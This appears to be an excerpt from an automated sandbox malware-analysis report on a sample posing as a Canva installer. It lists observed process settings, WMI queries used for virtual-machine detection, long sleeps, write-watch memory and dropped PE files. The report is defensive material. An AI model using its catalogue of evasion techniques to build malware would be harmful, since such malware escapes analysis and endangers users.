Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\more.com

API/Special instruction interceptor: Address: 75DA3B54

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2D80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2C20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: F00000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2890000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4890000 memory reserve \| memory write watch

Contains long sleeps (>= 3 min)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5572	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4178	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 4864	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Window / User API: threadDelayed 4569	Jump to behavior

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-NTUV2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-30SPE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-8GQDF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-9V9DF.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\resources\elevate.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-NHDMN.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\kdtvqgf	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\vk_swiftshader.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\vulkan-1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\Canva.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\ffmpeg.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\jotnemib	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-LLPRR.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\libEGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\libGLESv2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-KS3DD.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-9L22V.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-FAJC4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\is-MJD08.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\Canva\resources\is-EK79G.tmp	Jump to dropped file

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1028	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2792	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -22136092888451448s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -59650s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -59889s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -46542s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -59734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -59617s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -48901s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -59508s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -59341s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -45216s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -59179s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -59078s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -56907s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -58969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -58571s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -58860s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -47532s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -58750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -59713s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -58640s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -54782s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -58527s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -58421s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -58313s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -45148s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -44963s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -58198s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -58076s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -47116s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -57969s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -57859s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -30177s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 3408	Thread sleep time: -57750s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -32404s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -51411s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -40091s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -44443s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -39161s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -51250s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -31764s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -33487s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -42861s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -48191s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -32466s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -48098s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -32629s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -30742s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -59571s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -45625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -41738s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 944	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -34849s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -39425s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1612	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -39296s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -55515s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -49533s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 1820	Thread sleep time: -59856s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 4108	Thread sleep time: -922337203685477s >= -30000s

Queries disk information (often used to detect virtual machines)

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59650	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59889	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 46542	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59617	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 48901	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59508	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59341	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 45216	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59179	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 59078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 56907	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58571	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 47532	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 58750	Jump to behavior
